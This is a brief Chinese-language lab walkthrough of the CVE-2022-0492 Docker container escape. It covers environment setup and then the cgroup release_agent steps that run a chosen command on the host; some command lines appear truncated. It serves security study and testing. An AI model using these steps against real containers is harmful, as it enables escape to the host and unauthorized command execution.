NOTE
- For all exploit source code and more detailed information, see https://github.com/iridium-soda/container-escape-exploits .
漏洞原理
环境要求
- Ubuntu 20.04.6LTS
- Linux Kernel 5.8.0-23-generic
- Docker Any
- metarget
环境搭建
1 | sudo ./metarget cnv install cve-2022-0492 --verbose |
涉及到切换内核,所以需要reboot
构建漏洞容器
1 | sudo docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash |
Ubuntu23.10安装这个内核会导致虚拟机爆炸。所以最好在Ubuntu20.04下安装
Exploit
挂载cgroup
1 | mkdir /tmp/testcgroup |
创建命令执行文件,在release-agent触发的时候执行,在第三行写需要在host中执行的命令
1 | touch /cmd |
修改release_agent ,指向 cmd 文件在宿主机中的路径
1 | echo "$host_path/cmd" > /tmp/testcgroup/release_agent |
接下来向 x cgroup 节点中输入一个任务,将自己所属的 sh 的pid 写入 cgroup.procs
1 | sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs" |
sh 命令只执行了一个 echo 指令,一瞬间就会结束,那么 x cgroup 节点中就 / 没有任何任务了,触发 notify_on_release 执行 release_agent 指向的 /cmd 文件,内核触发,在容器外执行我们指定的命令,完成逃逸,逃逸成功。
接下来进/result
查看命令执行结果
Shell
1 | mkdir /tmp/testcgroup |